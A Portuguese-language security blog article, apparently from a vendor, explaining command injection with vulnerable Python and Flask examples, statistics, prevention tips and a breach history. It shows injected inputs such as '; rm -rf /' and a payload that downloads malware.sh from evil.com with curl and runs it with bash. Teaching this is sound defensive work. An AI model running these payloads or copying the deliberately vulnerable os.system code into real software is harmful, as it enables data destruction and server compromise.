O que é a injeção de comandos?
A injeção de comandos é uma vulnerabilidade ainda muito prevalecente nas aplicações Web, apesar de ser menos famosa do que as suas primas, a injeção de SQL ou a injeção de código. Se estiver familiarizado com outras vulnerabilidades de injeção, reconhecerá o princípio comum: o input de um utilizador não fiável não é devidamente validado, levando à execução de comandos arbitrários do sistema. Esta falha ocorre quando a entrada não validada é passada para funções ao nível do sistema. Qual é a importância da injeção de comandos? Analisámos a frequência com que esta vulnerabilidade é detectada e, *spoiler*, é surpreendentemente comum!
Exemplo de injeção de comandos
Considere este exemplo de injeção de comandos, digamos que tem uma aplicação onde pode introduzir o nome de um ficheiro alojado num servidor. A aplicação recupera esse ficheiro e escreve o seu conteúdo. O código para isso é o seguinte
import os
file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
O código acima espera que um utilizador insira um nome de ficheiro como ficheiro.txt
mas, em vez disso, um utilizador malicioso injecta algum código para executar comandos maliciosos.
Por exemplo
Nome do ficheiro: file.txt; rm -rf /
Esta entrada mostraria primeiro o conteúdo de ficheiro.txt
e depois executar o ficheiro malicioso rm -rf
que elimina à força todos os ficheiros de um diretório.
O utilizador malicioso pode fazer isto porque a aplicação não validou ou higienizou a entrada do utilizador, tornando a aplicação suscetível à injeção de comandos.
Se pretender um exemplo mais completo, consulte o conteúdo de bónus no fundo desta página.
Injeção de Comando em Números: A nossa investigação
- 7% de todas as vulnerabilidades encontradas em projectos de código aberto em 2024 eram injecções de comandos
- 5,8% para projectos de código fechado !
- Um aumento do número total de vulnerabilidades de injeção de comandos em projectos de código aberto de 2348 (2023) para uma previsão de 2600 (2024).
- Em percentagem de todas as vulnerabilidades, a injeção de comando está a tornar-se menos popular: uma diminuição de 14,6 % e 26,4 % para projetos de código aberto e de código fechado, respetivamente, de 2023 a 2024

A nossa investigação centrou-se na pesquisa de projectos de código aberto e de código fechado para revelar quantos tinham vulnerabilidades de injeção de comandos escondidas.
Em geral, o número de vulnerabilidades de injeção de comandos é muito elevado, sendo que 7% de todas as vulnerabilidades comunicadas em projectos de código aberto são de injeção de comandos e 5,8% em projectos de código fechado. Este valor é bastante próximo do número de vulnerabilidades de injeção de SQL encontradas.
Também há algumas boas notícias a retirar dos dados: estamos a assistir a uma tendência sólida de redução destas vulnerabilidades de 2023 para 2024. Como uma porcentagem de todas as vulnerabilidades, vimos uma redução de 27% em projetos de código fechado e 14% em código aberto. É provável que haja muitos factores que contribuam para esta situação, mas um fator significativo é o facto de o FBI e a CISA terem apontado, em 2024, a injeção de comandos como uma ameaça real e terem instado os fornecedores a prestar-lhe atenção. De acordo com os dados, este aviso foi ouvido.
Infelizmente, as boas notícias ficam por aqui. Continuamos a assistir a um aumento do número total de vulnerabilidades comunicadas em projectos de código aberto. O número total de vulnerabilidades de injeção comunicadas em projectos de código aberto passou de 2 348 em 2023 para 2 450 até agora em 2024 (espera-se que atinja 2 600)

Como evitar a injeção de comandos
A prevenção de vulnerabilidades de injeção de comandos requer uma abordagem multifacetada:
Validação de entrada do lado do servidor
Um erro comum que alguns cometem é efetuar apenas a validação do lado do cliente, que pode ser contornada por um atacante que faça um pedido direto.
import subprocess
# Exemplo de entrada restrita
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Isto deve vir do utilizador, mas é validado
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Entrada inválida!")
Evitar comandos da shell
Substitua os comandos da shell por funções ou bibliotecas nativas da linguagem sempre que possível. Abaixo está um exemplo de uso do modo somente leitura para abrir um arquivo e ler os contextos dentro dele.
with open("file.txt", "r") as f:
print(f.read())
Testes automatizados
Utilize ferramentas como o Aikido para analisar o seu código fonte e a sua aplicação e descobrir estas vulnerabilidades.
Utilizar uma firewall na aplicação
Uma das melhores defesas contra ataques de injeção é uma firewall in-app capaz de detetar e bloquear comandos maliciosos. O Aikido's in-app firewall Zen está disponível em código aberto e comercial e é capaz de detetar e bloquear ataques de injeção em tempo de execução.
Aplicar o princípio do menor privilégio
Configure as aplicações e os utilizadores para serem executados com os privilégios mínimos necessários, reduzindo os danos potenciais da exploração.
O caminho a seguir
A injeção de comandos, juntamente com muitas vulnerabilidades de injeção, é um desafio. Do ponto de vista tecnológico, resolvemos este problema, o que significa que não há necessidade de ter este tipo de vulnerabilidade nas suas aplicações. Com isto em mente, o facto de ainda vermos tantos destes tipos de vulnerabilidades significa que não podemos esperar um salto quântico de melhoria.
A injeção de comandos continuará a ser um problema, no entanto, como este ano assistimos a uma descida significativa, com as grandes organizações a concentrarem-se nesta vulnerabilidade, há esperança de que a injeção de comandos possa tornar-se menos proeminente no futuro, se continuarmos a sensibilizá-las.
Conteúdo de bónus
Uma história da injeção de comandos: Violações proeminentes
A injeção de comandos tem sido uma ameaça persistente desde há muito tempo. De facto, existia uma vulnerabilidade significativa de injeção de comandos que estava presente no bash desde 1989 até 2014. Mais recentemente, em 2024, a importância da injeção de comandos foi destacada pela CISA e pelo FBI, mostrando que continua a ser uma grande preocupação.
1. Primeiros dias da injeção de comandos
- Primeira utilização conhecida: As vulnerabilidades de injeção de comandos surgiram com a ascensão dos sistemas informáticos multiutilizadores nas décadas de 1970 e 1980, permitindo aos atacantes executar comandos arbitrários através de entradas não higienizadas.
- Décadas de 1980 e 1990: A proliferação de tecnologias Web levou a uma maior exploração da injeção de comandos, particularmente através de scripts CGI mal protegidos.
2. Violações e explorações significativas
- 1998: O primeiro ataque documentado de injeção de comandos baseado na Web: Foi explorada uma vulnerabilidade num script CGI baseado em Perl amplamente utilizado, marcando um dos primeiros grandes incidentes de injeção de comandos baseados na Web.
- 2010: Worm Stuxnet (injeção de comandos incorporados): O Stuxnet utilizou a injeção de comandos para atingir sistemas de controlo industrial, demonstrando o alcance da vulnerabilidade para além dos ambientes de TI tradicionais.
3. 2010s: Exploração em escala
- 2014: Vulnerabilidade Shellshock: O Shellshock (CVE-2014-6271) explorou o processamento de comandos do Bash, afectando milhões de sistemas em todo o mundo.
- 2018: Exploração de VPN do Cisco ASA (CVE-2018-0101): Uma vulnerabilidade de injeção de comandos no software ASA da Cisco permitia a execução remota de código, comprometendo a segurança da empresa.
4. 2020s: Explorações e tendências modernas
- 2020: Exploração do Citrix ADC Gateway: Os atacantes exploraram vulnerabilidades de injeção de comandos nos sistemas Citrix, conduzindo a violações de dados significativas.
- 2023: Vulnerabilidade do MOVEit (Injeção de SQL e Comando): Uma falha de injeção de comando no software MOVEit Transfer levou a violações de dados generalizadas em várias organizações.
Vulnerabilidade de injeção de comandos realistas
O Código Vulnerável
Vejamos um exemplo um pouco mais complexo de injeção de comandos. Abaixo está algum código para uma aplicação web Python simples. Permite aos utilizadores criar um arquivo ZIP de ficheiros especificados, enviando um pedido POST para o ficheiro /arquivo
rota.
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():
files = request.form.get('files') # User provides file names to archive
archive_name = request.form.get('archive_name') # User provides archive name
command = f"zip {archive_name}.zip {files}" # Command built dynamically
os.system(command) # Execute the system command
return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)
Como funciona
O utilizador fornece:
ficheiros
(por exemplo,ficheiro1.txt ficheiro2.txt
) para especificar quais os ficheiros a incluir no arquivo.nome_do_arquivo
para especificar o nome do arquivo zip resultante.
O código constrói um comando shell dinamicamente:
1. zip nome_do_arquivo.zip ficheiro1.txt ficheiro2.txt
2. O os.system()
executa o comando, permitindo que as entradas fornecidas pelo utilizador ditem o seu comportamento.
Exploração
Um atacante explora este facto injectando comandos adicionais no nome_do_arquivo
ou ficheiros
entradas.
Entrada fornecida pelo atacante:
nome_do_arquivo
:meu_arquivo; rm -rf /
ficheiros
:ficheiro1.txt
O comando resultante:
zip meu_arquivo.zip ficheiro1.txt; rm -rf /
zip meu_arquivo.zip ficheiro1.txt
: Cria um arquivo como esperado.; rm -rf /
: Elimina todos os ficheiros no servidor através da execução de um comando destrutivo separado.
Um exemplo mais sofisticado
O atacante pode explorar este facto para descarregar malware ou exfiltrar dados:
nome_do_arquivo
: arquivo; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
Comando resultante:
zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
Este comando:
- Cria um arquivo (
zip archive.zip file1.txt
). - Descarrega código malicioso (
curl -o malware.sh http://evil.com/malware.sh
). - Executa o malware (
bash malware.sh
).